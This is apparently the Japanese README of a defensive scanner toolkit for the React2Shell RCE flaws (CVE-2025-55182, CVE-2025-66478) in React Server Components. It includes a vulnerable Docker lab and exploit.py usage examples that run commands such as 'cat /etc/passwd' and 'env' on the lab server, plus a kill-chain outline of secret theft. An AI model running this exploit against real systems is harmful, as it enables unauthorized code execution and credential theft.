CVE-2025-55182(React)およびCVE-2025-66478(Next.js)のスキャナー - react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack、およびNext.jsのようなRSC対応フレームワークに影響を与える重大なReact Server Components(RSC)/ Flightプロトコルの脆弱性キャンペーンを追跡・修正します。
React2Shell バグクラスに関する 外部脆弱性: React Server Components (RSC) の "Flight" プロトコルにおいて、新たに公開された 認証不要のリモートコード実行脆弱性 が2件あります—CVE-2025-55182 (React) および CVE-2025-66478 (Next.js)、いずれも CVSS 10.0 と評価されています。これらの問題は、RSC/Server Function エンドポイントが攻撃者制御の Flight ペイロードをデコードする方法に起因し、単一の細工された HTTP リクエストをサーバーサイドコード実行に変える可能性があります—App Router と本番ビルドを使用する「デフォルト」の最新 React/Next.js スタックでも発生します。多くのチームにとって、これは「今すぐパッチを当て、露出を確認し、その後監査する」べき瞬間であり、後日の依存関係管理スプリントに先送りすべきではありません。
LAB フォルダには React2Shell 向けのエクスプロイトとラボの脆弱性が含まれています。
このプロジェクトは 二段階アプローチ を提供します: (1) ソフトウェア構成・依存関係リスクスキャニング (本ツール) により、脆弱なライブラリとバージョンを迅速に特定し、(2) Web DAST スキャナー (React2Shell Web Scanner) により、外部から RSC/Flight エンドポイントを能動的にプローブし、実行環境で悪用可能なパスが到達可能か検証します。これらを組み合わせることで、「脆弱なコンポーネントはどこにあるか?」 と 「本番環境で実際に悪用される可能性があるのはどこか?」 の両方に答え、自信を持ってパッチ適用、堅牢化、インシデント対応の優先順位を付けられます。
ライブエンドポイントテスト と RCE 検証 については、専用の Web スキャナーを参照:
📁 web-scan_CVE-2025-66478/ - 完全なドキュメントとガイド
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| 機能 | 説明 |
|---|---|
| 🔍 RCE 検出 | 算術ベースの安全な検出(副作用なし) |
| 🎯 テクノロジーフィンガープリンティング | Next.js/React アプリケーションの自動検出 |
| 📊 マルチフォーマットエクスポート | JSON、CSV、HTML レポート |
| 🔗 IOC 相関 | 31 以上の既知の悪意ある IP との照合 |
| 🌐 スケールスキャン | CIDR レンジ、サブドメイン列挙 |
| ☁️ Phoenix 統合 | 発見結果を Phoenix Security にアップロード |
| 💻 エクスプロイトツール | 脆弱なターゲット上でコマンドを実行 |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell は、React Server Components (RSC) の Flight プロトコルにおけるペイロード処理に対する、認証不要のリモートコード実行プリミティブです。実際には、悪意のあるクライアントが単一の細工された HTTP リクエストを RSC/Server Function エンドポイントに送信し、脆弱なバージョンが動作している場合、「Web アプリ」を「サーバーシェル」に変える可能性があります。
概要:
これは 認証不要の RCE であるため、デフォルトの本番セットアップが対象範囲に含まれます。明示的に "サーバー関数" を記述したことがなく、最新の React/Next.js パターンを採用しただけの場合でも同様です。ホスティングレベルの軽減策や汎用 WAF を主要な安全策として扱うべきではありません。露出を減らすことはできても、脆弱なライブラリを確実に補償することはできません。これをインシデントとして扱ってください:
攻撃者が React2Shell を介して RCE を達成した場合、ディフェンダーは以下のよく知られたキルチェーンを想定すべきです:
.env ファイル、デプロイ用シークレット、CI トークン、サービス認証情報、署名キーを収集。DevSecOps パイプラインがこれまで Web 層を「単なるフロントエンド」として扱ってきた場合、この脆弱性は、RSC とストリーミングセマンティクスが関与する場合、フロントエンドフレームワークが深刻なサーバーサイドの爆発半径を持つ可能性がある という具体的な実証となります。Universal Vulnerability Scanner は、「脆弱なパッケージをどこかで実行していないか?」を迅速に回答し、その回答を Phoenix 主導のキャンペーンや、まもなく提供される Web DAST 検証 によるライブ RSC エンドポイントの補完的な検証にフィードするために存在します。
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
スキャナーは JSON ベースの脆弱性データベースを使用します。場所:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description",
"references": ["https://..."]
}
}
}
}
.phoenix.config を作成:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
または環境変数を使用:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
スキャナーには test_samples/ に包括的なテストサンプルが含まれています:
| テストケース | 説明 | 期待される結果 |
|---|---|---|
rsc_vulnerable_exact/ | 正確な脆弱バージョン | 4 VULNERABLE |
rsc_vulnerable_range/ | バージョン範囲 | 4 VULNERABLE |
rsc_safe_versions/ | パッチ適用済みの安全なバージョン | 6 SAFE |
rsc_mixed/ | 脆弱/安全/クリーンの混合 | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | ロックファイル解析 | 2 VULNERABLE, 1 CLEAN |
テストの実行:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver 解析と比較
├── models/
│ ├── finding.py # 発見結果データモデル
│ └── vulnerability.py # 脆弱性データベースモデル
├── scanners/
│ ├── base_scanner.py # 抽象スキャナーインターフェース
│ └── npm_scanner.py # NPM エコシステムスキャナー
├── integrations/
│ └── phoenix_uploader.py # Phoenix API クライアント
├── data/
│ └── vulnerability_database.json # 脆弱性定義
├── test_samples/ # テストケース
└── main.py # CLI エントリポイント
scanners/ に BaseScanner を継承した新しいスキャナーを作成例:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
data/vulnerability_database.json を編集:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description"
}
}
}
0 - スキャン成功、脆弱性なし1 - スキャン成功、脆弱性あり2 - スキャン失敗(無効な入力、データベースエラーなど)発見結果を自動的に Phoenix にアップロード:
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.py から適用enhanced_npm_compromise_detector_phoenix.py から適用Shai Halud セキュリティツールキットの一部です。
🔍 安全を保ちましょう!脆弱性は責任を持って報告してください!